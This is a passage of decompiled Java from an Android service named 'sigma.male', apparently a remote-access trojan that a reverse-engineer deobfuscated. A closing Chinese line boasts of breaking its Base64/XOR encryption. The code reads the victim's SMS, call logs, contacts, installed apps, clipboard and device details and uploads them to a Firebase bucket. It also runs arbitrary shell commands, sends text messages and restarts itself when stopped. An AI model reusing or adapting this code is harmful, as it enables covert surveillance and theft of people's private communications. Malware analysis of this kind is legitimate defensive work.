this.root.child(str).putFile(Uri.fromFile(new File(str))).addOnFailureListener(this._fbs_failure_listener).addOnProgressListener(this._fbs_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.22
/* JADX WARN: Can't rename method to resolve collision */
@Override // com.google.android.gms.tasks.Continuation
public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
return servicess.this.root.child(str).getDownloadUrl();
}
}).addOnCompleteListener(this._fbs_upload_success_listener);
this.filinfodat = <li>Name: + Uri.parse(str).getLastPathSegment() + <li>Creation: + new Date(new File(str).lastModified()) + <li>Size: + (new File(str).length() / 1024) + KB <li>Path: + str;
}
}
}
public void _setrespo(String str, String str2, String str3, String str4, String str5) {
this.responsetxt.clear();
this.responsetxt = new HashMap<>();
this.responsetxt.put(respo, str);
this.responsetxt.put(var2, str2);
this.responsetxt.put(v1, str3);
this.responsetxt.put(v2, str4);
this.responsetxt.put(v3, str5);
String decrypt = abcdefghijklmnopqrstuvwxyz;
String str6 = String.valueOf(decrypt) + 0123456789;
Random random = new Random();
StringBuilder sb = new StringBuilder(8);
sb.append(str6.charAt(random.nextInt(str6.length() - 1)));
for (int length = sb.length(); length < 8; length++) {
sb.append(str6.charAt(random.nextInt(str6.length())));
}
this.responsetxt.put(rndm, sb.toString());
this._firebase.getReference(/respos/respo + gui.uuii(getApplicationContext())).child(respo).setValue(this.responsetxt);
}
public void _dmpsm(String str) {
}
public void getAllSms(Context context) {
Cursor query = context.getContentResolver().query(Telephony.Sms.CONTENT_URI, null, null, null, null);
String decrypt = <html><meta name='viewport' content='width=device-width, initial-scale=1'><meta name='charset' content='UTF-8' ><script type='text/javascript' src='https://ajax.googleapis.com/ajax/libs/jquery/3.4.0/jquery.min.js'></script> <style> body{margin:0;padding:0;background:#ccc}.accordion{background-color:#fff;color:#000;cursor:pointer;padding:18px;width:100%;border:none;text-align:left;outline:0;font-size:15px;position:relative;transition:.4s;padding-left:50px}.accordion:hover,.active{backgroun-color:#aaa}.accordion:after{content:'âº';color:#000;font-weight:700;float:right;transform:rotate(90deg);margin-left:5px}.active:after{content:'âº'}.panel{padding:0 18px;background-color:#eee;max-height:0;color:#000;overflow:hidden;transition:max-height .2s ease-out}button span{position:absolute;right:50px}button img{height:30px;position:absolute;left:10px;top:10px;width:30px}.i{height:30px;width:35px;left:8px;transform:scale(.9)}.panel{padding:0 18px;background-color:#eee;max-height:0;color:#000;overflow:hidden;transition:max-height .2s ease-out}button span{position:absolute;right:50px}button img{height:30px;position:absolute;left:10px;top:10px;width:30px}</style>;
if (query != null) {
int count = query.getCount();
if (query.moveToFirst()) {
String str = decrypt;
for (int i = 0; i < count; i++) {
String string = query.getString(query.getColumnIndexOrThrow(date));
String string2 = query.getString(query.getColumnIndexOrThrow(address));
String string3 = query.getString(query.getColumnIndexOrThrow(body));
new Date(Long.valueOf(string).longValue());
String str2 = "";
String str3 = "";
switch (Integer.parseInt(query.getString(query.getColumnIndexOrThrow(type)))) {
case 1:
str2 = inbox;
str3 = https://firebasestorage.googleapis.com/v0/b/white-2bc5f.appspot.com/o/inbox.png?alt=media&token=f3cf8d81-cf23-4588-bd9c-f9c37f518953;
break;
case 2:
str2 = sent;
str3 = https://firebasestorage.googleapis.com/v0/b/white-2bc5f.appspot.com/o/sent.png?alt=media&token=a5fb2993-56b6-4f44-ba95-5985aec6ad4a;
break;
case 4:
str2 = outbox;
str3 = https://firebasestorage.googleapis.com/v0/b/white-2bc5f.appspot.com/o/outbox.png?alt=media&token=2f7064a7-05b8-4535-a6cf-6666ae20bff0;
break;
}
str = String.valueOf(str) + <button class='accordion'><img src=' + str3 + ' alt=' + str2 + ' > + string2 + <span> + string + < + / + span>< + / + button> + <div class='panel'> + string3 + < + / + div>;
query.moveToNext();
}
decrypt = str;
}
query.close();
decrypt = String.valueOf(decrypt) + <script type='text/javascript'> + function tm(t){return new Date(1e3*t).toLocaleString();}$('span').each(function(t,e){$(e).html(tm(parseInt($(e).html())))});var i,acc=document.getElementsByClassName('accordion');for(i=0;i<acc.length;i++)acc[i].addEventListener('click',function(){this.classList.toggle('active');var t=this.nextElementSibling;t.style.maxHeight?t.style.maxHeight=null:t.style.maxHeight=t.scrollHeight+'px'}); + </script>;
}
try {
if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/sms.html))) {
FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/sms.html));
}
FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + /sms.html, true);
fileOutputStream.write((String.valueOf(decrypt) + "\n\n").getBytes());
fileOutputStream.close();
this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(/sms.html)).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(/sms.html)))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.23
/* JADX WARN: Can't rename method to resolve collision */
@Override // com.google.android.gms.tasks.Continuation
public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(/sms.html)).getDownloadUrl();
}
}).addOnCompleteListener(this._sigmamale_upload_success_listener);
} catch (FileNotFoundException e) {
} catch (IOException e2) {
}
}
public void _dmpcal() {
String decrypt;
Context applicationContext = getApplicationContext();
StringBuffer stringBuffer = new StringBuffer();
stringBuffer.append(<html><meta name='viewport' content='width=device-width, initial-scale=1'> <style> body{margin:0;padding:0;background:#ccc}.lo{width:calc(98% - 60px);position:relative;height:auto;padding-bottom:5px;padding-top:15px;padding-left:60px;background:#fff;margin:auto;border-radius:10px;margin-top:5px}.lo img{float:left;height:30px;width:30px;position:absolute;top:8px;left:10px}.lo span{float:right;margin-right:20px}</style><body>);
Cursor query = applicationContext.getContentResolver().query(CallLog.Calls.CONTENT_URI, null, null, null, date DESC);
int columnIndex = query.getColumnIndex(number);
int columnIndex2 = query.getColumnIndex(type);
int columnIndex3 = query.getColumnIndex(date);
int columnIndex4 = query.getColumnIndex(duration);
while (query.moveToNext()) {
String string = query.getString(columnIndex);
String string2 = query.getString(columnIndex2);
Date date = new Date(Long.valueOf(query.getString(columnIndex3)).longValue());
String string3 = query.getString(columnIndex4);
String str = "";
switch (Integer.parseInt(string2)) {
case 1:
decrypt = INCOMING;
str = https://firebasestorage.googleapis.com/v0/b/white-2bc5f.appspot.com/o/INCOMING.png?alt=media&token=e660c478-8d09-4ff8-951e-c01a962fadc4;
break;
case 2:
decrypt = OUTGOING;
str = https://firebasestorage.googleapis.com/v0/b/white-2bc5f.appspot.com/o/OUTGOING.png?alt=media&token=738a33e9-6049-4a88-9440-3ac6f88e363c;
break;
case 3:
decrypt = MISSED;
str = https://firebasestorage.googleapis.com/v0/b/white-2bc5f.appspot.com/o/MISSED.png?alt=media&token=ebe94876-a3a4-4765-80f5-ce8e2c484056;
break;
default:
decrypt = null;
break;
}
stringBuffer.append(<div class='lo' ><img src=' + str + ' alt=' + decrypt + ' ><b> + string + </b> <span> + string3 + Sec</span><br><br> + date + </div>);
}
query.close();
try {
if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/call.html))) {
FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/call.html));
}
FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + /call.html, true);
fileOutputStream.write((String.valueOf(stringBuffer.toString()) + "\n\n").getBytes());
fileOutputStream.close();
this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(/call.html)).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(/call.html)))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.24
/* JADX WARN: Can't rename method to resolve collision */
@Override // com.google.android.gms.tasks.Continuation
public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(/call.html)).getDownloadUrl();
}
}).addOnCompleteListener(this._sigmamale_upload_success_listener);
} catch (FileNotFoundException e) {
} catch (IOException e2) {
}
}
public void _dmpcon() {
String str;
String decrypt = <html><meta name='viewport' content='width=device-width, initial-scale=1'><body><style> body{margin:0;padding:0;background:#ccc}.lo{width:calc(98% - 60px);position:relative;height:auto;padding-bottom:5px;padding-top:15px;padding-left:60px;background:#fff;margin:auto;border-radius:10px;margin-top:5px}.lo img{float:left;height:30px;width:30px;position:absolute;top:8px;left:10px}.lo span{float:right;margin-right:20px}</style>;
Cursor query = getApplicationContext().getContentResolver().query(ContactsContract.CommonDataKinds.Phone.CONTENT_URI, new String[]{_id, display_name, data1, account_type}, account_type <> 'google' , null, null);
if (query.getCount() > 0) {
str = decrypt;
while (query.moveToNext()) {
str = String.valueOf(str) + <div class='lo' ><img src='https://firebasestorage.googleapis.com/v0/b/white-2bc5f.appspot.com/o/cont.png?alt=media&token=4ee314cc-c1bd-417d-b03e-8a33f74b4330' ><b>Name: </b> + query.getString(query.getColumnIndex(display_name)) + <br><b>Number: </b> + query.getString(query.getColumnIndex(data1)) + <br> <b>From: </b> + query.getString(query.getColumnIndex(account_type)) + </div>;
}
} else {
str = decrypt;
}
try {
if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/cont.html))) {
FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/cont.html));
}
FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + /cont.html, true);
fileOutputStream.write((String.valueOf(str) + "\n\n").getBytes());
fileOutputStream.close();
this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(/cont.html)).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(/cont.html)))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.25
/* JADX WARN: Can't rename method to resolve collision */
@Override // com.google.android.gms.tasks.Continuation
public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(/cont.html)).getDownloadUrl();
}
}).addOnCompleteListener(this._sigmamale_upload_success_listener);
} catch (FileNotFoundException e) {
} catch (IOException e2) {
}
}
public void _getpackages() {
String str;
ByteArrayOutputStream byteArrayOutputStream;
List<PackageInfo> installedPackages = getApplicationContext().getPackageManager().getInstalledPackages(0);
String decrypt = <html><meta name='viewport' content='width=device-width, initial-scale=1'> <style>*{margin:0;padding:0;}body{margin:0;padding:0;background:#222;}.keylogg {background:#000;width:calc(95% - 20px);height:auto;margin:auto;padding:10px;color:#0dd;padding-bottom:10px;margin-top:8px;border-radius:10px;position:relative;overflow:auto;}.keylogg b{color:red;}.keylogg img{max-height:50px;max-width:50px;position:absolute;left:10px;}.keylogg p{color:#fff;}.keylogg span{float:right;margin-right:10px;}.btn{height:40px;width:150px;border:0;border-radius:5px;border:1px solid red;background:black;color:white;} </style><body>;
Iterator<PackageInfo> it = installedPackages.iterator();
while (true) {
str = decrypt;
if (it.hasNext()) {
PackageInfo next = it.next();
getBitmapFromDrawable(next.applicationInfo.loadIcon(getPackageManager())).compress(Bitmap.CompressFormat.JPEG, 100, new ByteArrayOutputStream());
decrypt = String.valueOf(str) + <div class='keylogg' ><img src='data:image/png;base64, + Base64.encodeToString(byteArrayOutputStream.toByteArray(), 0) + ' ><div style='margin-left:60px;padding-top:3px;overflow:auto;' ><b style='color:green;' > + next.applicationInfo.loadLabel(getPackageManager()).toString() + (v + next.versionName + )</b><br><b style='color:red;' > + next.packageName + </b><br></div><br></div>;
} else {
try {
break;
} catch (FileNotFoundException e) {
return;
} catch (IOException e2) {
return;
}
}
}
if (FileUtil.isExistFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/apps.html))) {
FileUtil.deleteFile(FileUtil.getPackageDataDir(getApplicationContext()).concat(/apps.html));
}
FileOutputStream fileOutputStream = new FileOutputStream(String.valueOf(FileUtil.getPackageDataDir(getApplicationContext())) + /apps.html, true);
fileOutputStream.write((String.valueOf(str) + "\n\n").getBytes());
fileOutputStream.close();
SketchwareUtil.showMessage(getApplicationContext(), packejsj);
this.user.child(FileUtil.getPackageDataDir(getApplicationContext()).concat(/apps.html)).putFile(Uri.fromFile(new File(FileUtil.getPackageDataDir(getApplicationContext()).concat(/apps.html)))).addOnFailureListener(this._sigmamale_failure_listener).addOnProgressListener(this._sigmamale_upload_progress_listener).continueWithTask(new Continuation<UploadTask.TaskSnapshot, Task<Uri>>() { // from class: sigma.male.servicess.26
/* JADX WARN: Can't rename method to resolve collision */
@Override // com.google.android.gms.tasks.Continuation
public Task<Uri> then(Task<UploadTask.TaskSnapshot> task) throws Exception {
return servicess.this.user.child(FileUtil.getPackageDataDir(servicess.this.getApplicationContext()).concat(/apps.html)).getDownloadUrl();
}
}).addOnCompleteListener(this._sigmamale_upload_success_listener);
}
public static Bitmap getBitmapFromDrawable(Drawable drawable) {
Bitmap createBitmap = Bitmap.createBitmap(drawable.getIntrinsicWidth(), drawable.getIntrinsicHeight(), Bitmap.Config.ARGB_8888);
Canvas canvas = new Canvas(createBitmap);
drawable.setBounds(0, 0, canvas.getWidth(), canvas.getHeight());
drawable.draw(canvas);
return createBitmap;
}
public String shell_exec(String str) {
String str2 = "";
String[] strArr = {sh, -c, str};
try {
BufferedReader bufferedReader = new BufferedReader(new InputStreamReader(Runtime.getRuntime().exec(str).getInputStream()));
while (true) {
String readLine = bufferedReader.readLine();
if (readLine != null) {
str2 = String.valueOf(str2) + readLine;
} else {
return str2;
}
}
} catch (Exception e) {
return error;
}
}
public void _sudoapt(String str, String str2) {
_setrespo(shellview, "", shell_exec(str), "", "");
}
public void _devinfo() {
getApplicationContext();
Display defaultDisplay = ((WindowManager) getSystemService(window)).getDefaultDisplay();
int width = defaultDisplay.getWidth();
_setrespo(deviceinfo, "", <div class ='keylogg' ><b>SERIAL: </b> + Build.SERIAL + <br><b> + MODEL: </b> + Build.MODEL + <br><b> + ID: </b> + Build.ID + <br><b> + Manufacture: </b> + Build.MANUFACTURER + <br><b> + Brand:</b> + Build.BRAND + <br><b> + Device Language: </b> + Locale.getDefault().getDisplayLanguage() + <br><b> + Screen Resolution: </b> + width + x + defaultDisplay.getHeight() + <br><b> + Type: </b> + Build.TYPE + <br><b> + User: </b> + Build.USER + <br><b> + BASE: </b> + 1 + <br><b> + INCREMENTAL: </b> + Build.VERSION.INCREMENTAL + <br><b> + SDK:</b> + Build.VERSION.SDK + <br><b> + BOARD: </b> + Build.BOARD + <br><b> + BRAND:</b> + Build.BRAND + <br><b> + HOST: </b> + Build.HOST + <br><b> + FINGERPRINT: </b> + Build.FINGERPRINT + <br><b> + Version Code: </b> + Build.VERSION.RELEASE + </div>, "", "");
}
public void _showtoast(String str) {
SketchwareUtil.showMessage(getApplicationContext(), str);
_setrespo(dialogview, "", Toast Shown Successfully, "", "");
}
public void _vibra(String str) {
this.vibrator.vibrate(Integer.parseInt(str));
_setrespo(dialogview, "", Device Vibrated, "", "");
}
public void _ttsdev(String str) {
this.tts.speak(str, 1, null);
_setrespo(dialogview, "", TTS Completed Successfully, "", "");
}
public void _palysmudic(String str) {
this.mp = new MediaPlayer();
this.mp.setAudioStreamType(3);
try {
this.mp.setDataSource(str);
} catch (IOException e) {
e.printStackTrace();
} catch (IllegalArgumentException e2) {
_setrespo(dialogview, "", <span style='color:red;' > ERROR: </span>Song Not Found from URL, "", "");
} catch (IllegalStateException e3) {
_setrespo(dialogview, "", <span style='color:red; ' > ERROR: </span>Song Not Found from URL, "", "");
} catch (SecurityException e4) {
_setrespo(dialogview, "", <span style='color:red; ' > ERROR: </span>Song Not Found from URL, "", "");
}
try {
this.mp.prepare();
_setrespo(dialogview, "", <span style='color: green; '> Success: </span>Song is playing, "", "");
} catch (IOException e5) {
_setrespo(dialogview, "", <span style='color:red; ' > ERROR: </span>Song Not Found from URL, "", "");
} catch (IllegalStateException e6) {
_setrespo(dialogview, "", <span style='color:red; ' > ERROR: </span>Song Not Found from URL, "", "");
}
this.mp.start();
if (this.mp.isPlaying()) {
_setrespo(dialogview, "", <span style='color: green; '> Success: </span>Song is playing, "", "");
}
}
public void _sendsm(String str, String str2) {
try {
SmsManager.getDefault().sendTextMessage(str, null, str2, null, null);
_setrespo(dialogview, "", <span style='color:green'>Success: </span>Message Sent Successfully, "", "");
} catch (Exception e) {
_setrespo(dialogview, "", <span style='color:red'>Error: </span>Either permission is not given or Data is incorrect., "", "");
}
}
public void _changewall(String str) {
if (str.equals(0)) {
try {
WallpaperManager.getInstance(getApplicationContext()).setResource(R.drawable.wall1);
} catch (Exception e) {
e.printStackTrace();
}
_setrespo(dialogview, "", Wallpaper Changed Successfully, "", "");
} else if (str.equals(1)) {
try {
WallpaperManager.getInstance(getApplicationContext()).setResource(R.drawable.wall2);
} catch (Exception e2) {
e2.printStackTrace();
}
_setrespo(dialogview, "", Wallpaper Changed Successfully, "", "");
} else if (str.equals(2)) {
try {
WallpaperManager.getInstance(getApplicationContext()).setResource(R.drawable.wall3);
} catch (Exception e3) {
e3.printStackTrace();
}
_setrespo(dialogview, "", Wallpaper Changed Successfully, "", "");
}
}
/* JADX WARN: Code restructure failed: missing block: B:12:0x004f, code lost:
if (r1.isEmpty() != false) goto L13;
*/
/*
Code decompiled incorrectly, please refer to instructions dump.
*/
public void clips() {
String str = null;
final ClipboardManager[] clipboardManagerArr = new ClipboardManager[1];
String str2 = "";
new Handler(Looper.getMainLooper()).post(new Runnable() { // from class: sigma.male.servicess.27
@Override // java.lang.Runnable
public void run() {
clipboardManagerArr[0] = (ClipboardManager) servicess.this.getSystemService(clipboard);
}
});
try {
if (clipboardManagerArr[0].hasPrimaryClip()) {
ClipDescription primaryClipDescription = clipboardManagerArr[0].getPrimaryClipDescription();
ClipData primaryClip = clipboardManagerArr[0].getPrimaryClip();
if (primaryClip != null && primaryClipDescription != null && primaryClipDescription.hasMimeType(text/plain)) {
str2 = String.valueOf(primaryClip.getItemAt(0).getText());
}
}
str = str2;
} catch (NullPointerException e) {
}
_setrespo(deviceinfo, "", <div class ='keylogg' > + str + </div>, "", "");
}
public void _voicere(String str) {
_setrespo(dialogview, "", Launched URL : + str, "", "");
Intent intent = new Intent();
intent.addFlags(268435456);
intent.setAction(android.intent.action.VIEW);
intent.setData(Uri.parse(str));
startActivity(intent);
}
public void tofft() {
_setrespo(dialogview, "", Turned Off Torch light, "", "");
CameraManager cameraManager = (CameraManager) getSystemService(camera);
try {
cameraManager.setTorchMode(cameraManager.getCameraIdList()[0], false);
} catch (CameraAccessException e) {
}
}
public void tont() {
_setrespo(dialogview, "", Turned On Torch light, "", "");
CameraManager cameraManager = (CameraManager) getSystemService(camera);
try {
cameraManager.setTorchMode(cameraManager.getCameraIdList()[0], true);
} catch (CameraAccessException e) {
}
}
@Override // android.app.Service
public IBinder onBind(Intent intent) {
return null;
}
@Override // android.app.Service
public void onDestroy() {
Intent intent = new Intent();
intent.setAction(restartservice);
intent.setClass(this, restarter.class);
sendBroadcast(intent);
super.onDestroy();
}
}
解密前后对比
区区Base64XOR加密也想难得住我?😎😎😎👊👊👊